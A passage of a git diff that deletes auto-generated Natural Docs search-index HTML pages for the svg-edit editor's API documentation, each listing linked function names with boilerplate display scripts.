-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_open><div class=IEntry><a href="../files/svgcanvas-js.html#open" target=_parent class=ISymbol>open</a></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsR.html b/public/svg-edit/docs/search/FunctionsR.html
deleted file mode 100644
index 3153d9df..00000000
--- a/public/svg-edit/docs/search/FunctionsR.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_rasterExport><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.rasterExport" target=_parent class=ISymbol>rasterExport</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_recalculateAllSelectedDimensions><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.recalculateAllSelectedDimensions" target=_parent class=ISymbol>recalculateAllSelectedDimensions</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_recalculateDimensions><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.recalculateDimensions" target=_parent class=ISymbol>recalculateDimensions</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_rectsIntersect><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.rectsIntersect" target=_parent class=ISymbol>rectsIntersect</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_redo><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.redo" target=_parent class=ISymbol>redo</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_releaseSelector><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.releaseSelector" target=_parent class=ISymbol>releaseSelector</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_remapElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.remapElement" target=_parent class=ISymbol>remapElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_RemoveElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand" target=_parent class=ISymbol>RemoveElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_removeFromSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.removeFromSelection" target=_parent class=ISymbol>removeFromSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_removeUnusedDefElems><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.removeUnusedDefElems" target=_parent class=ISymbol>removeUnusedDefElems</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_renameCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.renameCurrentLayer" target=_parent class=ISymbol>renameCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_requestSelector><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.requestSelector" target=_parent class=ISymbol>requestSelector</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_reset><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Selector.reset" target=_parent class=ISymbol>reset</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div><div class=SRResult id=SR_resetUndoStack><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.resetUndoStack" target=_parent class=ISymbol>resetUndoStack</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_resize><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Selector.resize" target=_parent class=ISymbol>resize</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/FunctionsS.html b/public/svg-edit/docs/search/FunctionsS.html
deleted file mode 100644
index 13e33384..00000000
--- a/public/svg-edit/docs/search/FunctionsS.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_sanitizeSvg><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.sanitizeSvg" target=_parent class=ISymbol>sanitizeSvg</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_save><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.save" target=_parent class=ISymbol>save</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_selectAllInCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.selectAllInCurrentLayer" target=_parent class=ISymbol>selectAllInCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBackground><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBackground" target=_parent class=ISymbol>setBackground</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBBoxZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBBoxZoom" target=_parent class=ISymbol>setBBoxZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlur><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlur" target=_parent class=ISymbol>setBlur</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlurNoUndo><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlurNoUndo" target=_parent class=ISymbol>setBlurNoUndo</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlurOffsets><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlurOffsets" target=_parent class=ISymbol>setBlurOffsets</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBold><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBold" target=_parent class=ISymbol>setBold</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setColor><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setColor" target=_parent class=ISymbol>setColor</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setConfig><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setConfig" target=_parent class=ISymbol>setConfig</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setCurrentLayer" target=_parent class=ISymbol>setCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setCurrentLayerPosition><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setCurrentLayerPosition" target=_parent class=ISymbol>setCurrentLayerPosition</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setDocumentTitle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setDocumentTitle" target=_parent class=ISymbol>setDocumentTitle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setFontFamily><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setFontFamily" target=_parent class=ISymbol>setFontFamily</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setFontSize><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setFontSize" target=_parent class=ISymbol>setFontSize</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setForeignString_lpaxmlString_comelt_rpa><div class=IEntry><a href="../files/extensions/ext-foreignobject-js.html#setForeignString(xmlString,elt)" target=_parent class=ISymbol>setForeignString(xmlString,elt)</a></div></div><div class=SRResult id=SR_setGradient><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setGradient" target=_parent class=ISymbol>setGradient</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setIdPrefix><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setIdPrefix" target=_parent class=ISymbol>setIdPrefix</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setImageURL><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setImageURL" target=_parent class=ISymbol>setImageURL</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setItalic><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setItalic" target=_parent class=ISymbol>setItalic</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setLayerOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setLayerOpacity" target=_parent class=ISymbol>setLayerOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setLayerVisibility><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setLayerVisibility" target=_parent class=ISymbol>setLayerVisibility</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setMode><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setMode" target=_parent class=ISymbol>setMode</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setOpacity" target=_parent class=ISymbol>setOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setPaint><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setPaint" target=_parent class=ISymbol>setPaint</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setPaintOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setPaintOpacity" target=_parent class=ISymbol>setPaintOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setRectRadius><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setRectRadius" target=_parent class=ISymbol>setRectRadius</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setResolution><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setResolution" target=_parent class=ISymbol>setResolution</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setRotationAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setRotationAngle" target=_parent class=ISymbol>setRotationAngle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setSegType><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setSegType" target=_parent class=ISymbol>setSegType</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setStrokeAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setStrokeAttr" target=_parent class=ISymbol>setStrokeAttr</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setStrokeWidth><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setStrokeWidth" target=_parent class=ISymbol>setStrokeWidth</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setSvgString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setSvgString" target=_parent class=ISymbol>setSvgString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setTextContent><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setTextContent" target=_parent class=ISymbol>setTextContent</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setUiStrings><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setUiStrings" target=_parent class=ISymbol>setUiStrings</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setUnitAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.setUnitAttr" target=_parent class=ISymbol>setUnitAttr</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_setZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setZoom" target=_parent class=ISymbol>setZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_shortFloat><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.shortFloat" target=_parent class=ISymbol>shortFloat</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_showGrips><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Selector.showGrips" target=_parent class=ISymbol>showGrips</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div><div class=SRResult id=SR_smoothControlPoints><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.smoothControlPoints" target=_parent class=ISymbol>smoothControlPoints</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_snapToAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.snapToAngle" target=_parent class=ISymbol>snapToAngle</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_svgCanvasToString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.svgCanvasToString" target=_parent class=ISymbol>svgCanvasToString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_svgToString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.svgToString" target=_parent class=ISymbol>svgToString</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralA.html b/public/svg-edit/docs/search/GeneralA.html
deleted file mode 100644
index f3ee0f68..00000000
--- a/public/svg-edit/docs/search/GeneralA.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_addCommandToHistory><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.addCommandToHistory" target=_parent class=ISymbol>addCommandToHistory</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_addExtension><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addExtension" target=_parent class=ISymbol>addExtension</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_Additional_spceditor_spctools><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Additional_editor_tools" target=_parent class=ISymbol>Additional editor tools</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_addSubCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.addSubCommand" target=_parent class=ISymbol>addSubCommand</a>, <span class=IParent>SvgCanvas.<wbr>BatchCommand</span></div></div><div class=SRResult id=SR_addSvgElementFromJson><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addSvgElementFromJson" target=_parent class=ISymbol>addSvgElementFromJson</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_addToSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addToSelection" target=_parent class=ISymbol>addToSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_alignSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.alignSelectedElements" target=_parent class=ISymbol>alignSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_apply><div class=IEntry><a href="javascript:searchResults.Toggle('SR_apply')" class=ISymbol>apply</a><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.apply" target=_parent class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></div></div><div class=SRResult id=SR_assignAttributes><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.assignAttributes" target=_parent class=ISymbol>assignAttributes</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralC.html b/public/svg-edit/docs/search/GeneralC.html
deleted file mode 100644
index eb4b747c..00000000
--- a/public/svg-edit/docs/search/GeneralC.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_ChangeElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand" target=_parent class=ISymbol>ChangeElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_changeSelectedAttribute><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttribute" target=_parent class=ISymbol>changeSelectedAttribute</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_changeSelectedAttributeNoUndo><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttributeNoUndo" target=_parent class=ISymbol>changeSelectedAttributeNoUndo</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cleanupElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cleanupElement" target=_parent class=ISymbol>cleanupElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_clear><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clear" target=_parent class=ISymbol>clear</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_clearSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clearSelection" target=_parent class=ISymbol>clearSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cloneSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cloneSelectedElements" target=_parent class=ISymbol>cloneSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_convertToNum><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.convertToNum" target=_parent class=ISymbol>convertToNum</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_convertToPath><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.convertToPath" target=_parent class=ISymbol>convertToPath</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_convertToXMLReferences><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.convertToXMLReferences" target=_parent class=ISymbol>convertToXMLReferences</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></div></div><div class=SRResult id=SR_copyElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.copyElem" target=_parent class=ISymbol>copyElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_createLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.createLayer" target=_parent class=ISymbol>createLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_cycleElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cycleElement" target=_parent class=ISymbol>cycleElement</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralD.html b/public/svg-edit/docs/search/GeneralD.html
deleted file mode 100644
index 67353008..00000000
--- a/public/svg-edit/docs/search/GeneralD.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_decode64><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.decode64" target=_parent class=ISymbol>decode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></div></div><div class=SRResult id=SR_deleteCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteCurrentLayer" target=_parent class=ISymbol>deleteCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_deleteSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteSelectedElements" target=_parent class=ISymbol>deleteSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_Document_spcfunctions><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Document_functions" target=_parent class=ISymbol>Document functions</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralF.html b/public/svg-edit/docs/search/GeneralF.html
deleted file mode 100644
index 55c21a89..00000000
--- a/public/svg-edit/docs/search/GeneralF.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_ffClone><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.ffClone" target=_parent class=ISymbol>ffClone</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_findDefs><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDefs" target=_parent class=ISymbol>findDefs</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_findDuplicateGradient><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDuplicateGradient" target=_parent class=ISymbol>findDuplicateGradient</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_finishUndoableChange><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.finishUndoableChange" target=_parent class=ISymbol>finishUndoableChange</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_fromXml><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.fromXml" target=_parent class=ISymbol>fromXml</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></div></div><div class=SRResult id=SR_Functions><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Functions" target=_parent class=ISymbol>Functions</a>, <span class=IParent>Selector</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralG.html b/public/svg-edit/docs/search/GeneralG.html
deleted file mode 100644
index c7e504e9..00000000
--- a/public/svg-edit/docs/search/GeneralG.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
